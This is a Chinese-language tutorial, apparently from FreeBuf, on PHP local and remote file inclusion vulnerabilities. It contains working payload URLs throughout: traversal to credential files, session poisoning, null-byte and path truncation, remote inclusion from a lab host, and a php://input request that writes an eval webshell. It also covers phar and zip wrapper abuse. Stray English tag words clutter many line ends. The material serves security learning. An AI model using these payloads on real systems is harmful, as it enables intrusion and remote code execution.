《Web安全實戰》系列集合了WEB類常見的各類漏洞,筆者根據本身在Web安全領域中學習和工做的經驗,對漏洞原理和漏洞利用面進行了總結分析,致力於漏洞準確性、豐富性,但願對WEB安全工做者、WEB安全學習者能有所幫助,減小獲取知識的時間成本。php
服務器執行PHP文件時,能夠經過文件包含函數加載另外一個文件中的PHP代碼,而且當PHP來執行,這會爲開發者節省大量的時間。這意味着您能夠建立供全部網頁引用的標準頁眉或菜單文件。當頁眉須要更新時,您只更新一個包含文件就能夠了,或者當您向網站添加一張新頁面時,僅僅須要修改一下菜單文件(而不是更新全部網頁中的連接)。html
PHP中文件包含函數有如下四種:mysql
require()linux
require_once()sql
include()shell
include_once()apache
include
和require
區別主要是,include
在包含的過程當中若是出現錯誤,會拋出一個警告,程序繼續正常運行;而require
函數出現錯誤的時候,會直接報錯並退出程序的執行。windows
而include_once()
,require_once()
這兩個函數,與前兩個的不一樣之處在於這兩個函數只包含一次,適用於在腳本執行期間同一個文件有可能被包括超過一次的狀況下,你想確保它只被包括一次以免函數重定義,變量從新賦值等問題。瀏覽器
文件包含函數加載的參數沒有通過過濾或者嚴格的定義,能夠被用戶控制,包含其餘惡意文件,致使了執行了非預期的代碼。安全
示例代碼
<?php $filename = $_GET['filename']; include($filename); ?>
例如:
$_GET['filename']
參數開發者沒有通過嚴格的過濾,直接帶入了include的函數,攻擊者能夠修改$_GET['filename']
的值,執行非預期的操做。
測試代碼:
<?php $filename = $_GET['filename']; include($filename); ?>
測試結果:
經過目錄遍歷漏洞能夠獲取到系統中其餘文件的內容:
常見的敏感信息路徑:
Windows系統
c:\boot.ini // 查看系統版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼
c:\windows\php.ini // php 配置信息
Linux/Unix系統
/etc/passwd // 帳戶信息
/etc/shadow // 帳戶密碼文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置
/usr/local/app/php5/lib/php.ini // PHP相關配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
利用條件:
session的存儲位置能夠獲取。
1. 經過phpinfo的信息能夠獲取到session的存儲位置。
經過phpinfo的信息,獲取到session.save_path爲/var/lib/php/session:
2. 經過猜想默認的session存放位置進行嘗試。
如linux下默認存儲在/var/lib/php/session目錄下:
session中的內容能夠被控制,傳入惡意代碼。
示例:
漏洞分析
此php會將獲取到的GET型ctfs變量的值存入到session中。
當訪問http://www.ctfs-wiki/session.php?ctfs=ctfs 後,會在/var/lib/php/session目錄下存儲session的值。
session的文件名爲sess_+sessionid,sessionid能夠經過開發者模式獲取。
因此session的文件名爲sess_akp79gfiedh13ho11i6f3sm6s6。
到服務器的/var/lib/php/session目錄下查看果真存在此文件,內容爲:
username|s:4:"ctfs";
[root@c21336db44d2 session]
漏洞利用
經過上面的分析,能夠知道ctfs傳入的值會存儲到session文件中,若是存在本地文件包含漏洞,就能夠經過ctfs寫入惡意代碼到session文件中,而後經過文件包含漏洞執行此惡意代碼getshell。
當訪問http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>後,會在/var/lib/php/session目錄下存儲session的值。
[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"
攻擊者經過phpinfo()信息泄露或者猜想能獲取到session存放的位置,文件名稱經過開發者模式可獲取到,而後經過文件包含的漏洞解析惡意代碼getshell。
%00截斷
條件:magic_quotes_gpc = Off php版本<5.3.4
測試代碼:
<?php $filename = $_GET['filename']; include($filename . ".html"); ?>
測試結果:
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
路徑長度截斷
條件:windows OS,點號須要長於256;linux OS 長於4096
Windows下目錄最大長度爲256字節,超出的部分會被丟棄;
Linux下目錄最大長度爲4096字節,超出的部分會被丟棄。
測試代碼:
<?php $filename = $_GET['filename']; include($filename . ".html"); ?>
EXP:
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
點號截斷
條件:windows OS,點號須要長於256
測試代碼:
<?php $filename = $_GET['filename']; include($filename . ".html"); ?>
EXP:
http://www.ctfs-wiki.com/FI/FI.php ?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
PHP的配置文件allow_url_fopen和allow_url_include設置爲ON,include/require等包含函數能夠加載遠程文件,若是遠程文件沒通過嚴格的過濾,致使了執行惡意文件的代碼,這就是遠程文件包含漏洞。
allow_url_fopen = On(是否容許打開遠程文件)
allow_url_include = On(是否容許include/require遠程文件)
測試代碼:
<?php $filename = $_GET['filename']; include($filename); ?>
經過遠程文件包含漏洞,包含php.txt能夠解析。
http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt
測試結果:
測試代碼:
<?php include($_GET['filename'] . ".html"); ?>
代碼中多添加了html後綴,致使遠程包含的文件也會多一個html後綴。
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
還有哪些能夠繞過?用burp跑一遍發現空格也能夠繞過:
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
PHP 帶有不少內置 URL 風格的封裝協議,可用於相似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系統函數。 除了這些封裝協議,還能經過 stream_wrapper_register() 來註冊自定義的封裝協議。
PHP 提供了一些雜項輸入/輸出(IO)流,容許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符, 內存中、磁盤備份的臨時文件流以及能夠操做其餘讀取寫入文件資源的過濾器。
元封裝器,設計用於」數據流打開」時的」篩選過濾」應用,對本地磁盤文件進行讀寫。
用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 同樣。
條件:只是讀取,須要開啓 allow_url_fopen,不須要開啓 allow_url_include;
測試代碼:
<?php $filename = $_GET['filename']; include($filename); ?>
能夠訪問請求的原始數據的只讀流。便可以直接讀取到POST上沒有通過解析的原始數據。 enctype=」multipart/form-data」 的時候 php://input 是無效的。
用法:?file=php://input 數據利用POST傳過去。
碰到file_get_contents()就要想到用php://input繞過,由於php僞協議也是能夠利用http協議的,便可以使用POST方式傳數據,具體函數意義下一項;
測試代碼:
<?php echo file_get_contents("php://input"); ?>
測試結果:
測試代碼:
<?php $filename = $_GET['filename']; include($filename); ?>
條件:php配置文件中需同時開啓 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就能夠形成任意代碼執行,在這能夠理解成遠程文件包含漏洞(RFI),即POST過去PHP代碼,便可執行。
若是POST的數據是執行寫入一句話木馬的PHP代碼,就會在當前目錄下寫入一個木馬。
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
測試結果:
測試代碼:
<?php $filename = $_GET['filename']; include($filename); ?>
條件:php配置文件中需同時開啓 allow_url_fopen 和 allow_url_include(PHP < 5.30),就能夠形成任意代碼執行,在這能夠理解成遠程文件包含漏洞(RFI),即POST過去PHP代碼,便可執行;
經過file協議能夠訪問本地文件系統,讀取到文件的內容
測試代碼:
<?php $filename = $_GET['filename']; include($filename); ?>
數據流封裝器,和php://類似都是利用了流的概念,將本來的include的文件流重定向到了用戶可控制的輸入流中,簡單來講就是執行文件的包含方法包含了你的輸入流,經過你輸入payload來實現目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
data://(讀取文件)
和php僞協議的input相似,碰到file_get_contents()來用; <?php // 打印 「I love PHP」 echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo=’); ?>
注意:<span ><?php phpinfo();,這類執行代碼最後沒有?></span>閉合;
若是php.ini裏的allow_url_include=On(PHP < 5.3.0),就能夠形成任意代碼執行,同理在這就能夠理解成遠程文件包含漏洞(RFI) 測試代碼:
<?php $filename = $_GET['filename']; include($filename); ?>
這個參數是就是php解壓縮包的一個函數,無論後綴是什麼,都會當作壓縮包來解壓。
用法:?file=phar://壓縮包/內部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 壓縮包須要是zip協議壓縮,rar不行,將木馬文件壓縮後,改成其餘任意格式的文件均可以正常使用。 步驟: 寫一個一句話木馬文件shell.php,而後用zip協議壓縮爲shell.zip,而後將後綴改成png等其餘格式。
測試代碼:
<?php $filename = $_GET['filename']; include($filename); ?>
zip僞協議和phar協議相似,可是用法不同。
用法:?file=zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名] zip://xxx.png#shell.php。
條件: PHP > =5.3.0,注意在windows下測試要5.3.0<PHP<5.4 才能夠 #在瀏覽器中要編碼爲%23,不然瀏覽器默認不會傳輸特殊字符。
測試代碼:
<?php $filename = $_GET['filename']; include($filename); ?>
*本文做者:山東安雲,轉載請註明來自FreeBuf.COM